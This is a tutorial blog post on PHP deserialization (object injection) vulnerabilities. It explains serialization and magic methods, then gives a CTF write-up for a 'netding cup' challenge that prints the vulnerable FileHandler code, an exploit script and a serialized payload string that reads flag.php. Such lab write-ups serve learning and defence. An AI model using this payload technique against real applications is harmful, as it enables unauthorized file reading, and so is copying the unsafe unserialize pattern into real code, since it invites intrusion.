PHP deserialization vulnerability & netding cup ctf instance

Keywords: PHP Cyber Security Web Security

Vulnerability profile

php deserialization vulnerability, also known as php object injection vulnerability.

In short, when php is deserialized, the content of the deserialization is under the control of the user, so the malicious user can construct the code of the specific serialized content, carry out the specific deserialization operation through the deserialize() function, and some sensitive operations somewhere in the program are written in the class, then the malicious code can be used, To perform what the attacker wants.

Causes of vulnerability

The root cause of the vulnerability is that the program does not detect the deserialization string entered by the user, resulting in the deserialization process can be maliciously controlled, resulting in a series of uncontrollable consequences such as code execution and getshell.

What is serialization

  • Object to string
  • Persistent preservation
  • network transmission

What is deserialization

  • Convert string to object

Look at a string of codes

<?php
    class name  //Create name class
    {
        public $name=''; //Define public variables
        public function one()  //Define function
        {
            echo 'I am '.$this->name;
        }
    }

    $who = new name();  //create object
    $who->name='Iron man';  //assignment
    $who->one();  //Call function

?>

Operation results:

 

  serialize

<?php
    class name  //Create name class
    {
        public $name=''; //Define public variables
        public function one()  //Define function
        {
            echo 'I am '.$this->name;
        }
    }

    $who = new name();  //create object
    $who->name='Iron man';  //assignment
    $who->one();  //Call function
	
	echo '</br>';
	$srlz = serialize($who);  //serialize
	echo $srlz;

?>

Operation results

  As you can see, the serialize() function converts the object to string output

Parse the serialized string (from front to back)

  • O / I: O represents object and I represents array
  • four   : Object length
  • Name: object name
  • 1: Number of variables in the object
  • s: The data type of the variable, s for string and i for int
  • 4: Length of variable name
  • Name: variable name
  • s: Ibid
  • 8: Length of variable value

  Deserialization

<?php
    class name  //Create name class
    {
        public $name=''; //Define public variables
        public function one()  //Define function
        {
            echo 'I am '.$this->name;
        }
    }

    $who = new name();  //create object
    $who->name='Iron man';  //assignment
    $who->one();  //Call function
	
	echo '</br>';
	$srlz = serialize($who);  //serialize
	echo $srlz;

	echo '</br>';
	$unsrlz = unserialize($srlz);  //Deserialization
	$unsrlz->one();
?>

Operation results

  php deserialization vulnerability

         PHP will all__ Class methods beginning with (two underscores) remain magic methods

PHP magic function

  • __ construct()          Called when an object is created
  • __ destruct()          Called when an object is destroyed
  • __ toString()          Called when an object is treated as a string
  • __ wakeup()         Triggered when unserialize is used
  • __ sleep()         Triggered when serialiaze is used
  • __ call()         Called when an object calls an inaccessible method
  • __ callStatic()         Triggered when an inaccessible method is called statically
  • __ get()         Called when the member variable of a class is obtained
  • __ set()         Called when a member variable of a class is set
  • __ isset()         Triggered when isset() or empty() is called on an inaccessible property
  • __ unset()         Triggered when unset() is called on an inaccessible property
  • __ invoke()         Triggered when a script attempts to call an object as a function

Let's take a look at a piece of code to roughly understand the calling process of magic functions

<?php
class test{
    public $varr1="abc";
	public $varr2="123";
    public function echoP(){
        echo $this->varr1."</br>";
    }
    public function __construct(){
        echo "__construct</br>";
    }
    public function __destruct(){
        echo "__destruct</br>";
    }
    public function __toString(){
        return "__toString</br>";
    }
	public function __sleep(){
		echo "__sleep</br>";
		return array('varr1','varr2');
	}
    public function __wakeup(){
		echo "__wakeup</br>";
	}
}
//Instantiate an object, call the construct method, and output__ construct
$obj = new test();
//Call the echo method and output abc
$obj->echoP();
//Called when the string is output__ ToString method, output__ toString
echo $obj;
//Serializing objects, calling__ Sleep method, output__ sleep
$s = serialize($obj);
//Output the serialized string, O:4:"test":2:{s:5:"varr1";s:3:"abc";s:5:"varr2";s:3:"123";}
echo $s."</br>";
//Deserialization call__ Wakeup method, output__ wakeup
//At this time, the echo is equivalent to outputting the object string, so it is called again__ toString
echo unserialize($s);
//When the script ends, that is, the object will be destroyed, and__ Destruct, one of which is to deserialize the recovered object, so here is the output twice__ destruct
?>

The running results can clearly see the trigger conditions of each magic function call

  Netding cup ctf deserialization

         Title code

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

Audit code:

        First, it get s a parameter and calls is_ The valid() function performs judgment and filtering, and returns true if the conditions are met

        Then deserialize the obtained parameters (unserialize())

        The object is then destroyed, triggering__ destruct() function

        Observation function__ Destroy() will cast op === "2" to "1", and then trigger   process() function

        Looking at process(), it is found that the read() function must be op == "2" to enter the final result

        However, we can find that when judging op, we use = = =, which will compare the type and value

        And = = is a weak type comparison, which only compares values

        To construct EXP:

        Directly bring in the number 2 for judgment, and "2" = = = not tenable  

        Then serialize to construct a string  

<?php
class FileHandler {

    public $op = 2;
    public $filename = "flag.php";
    public $content;
}

$flag = new FileHandler;
$hahaha = serialize($flag);
echo $hahaha;

?>

  The result is:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

In this case, the parameter is brought in

  Get flag!!!

Posted by karimali831 on Tue, 21 Sep 2021 20:48:13 -0700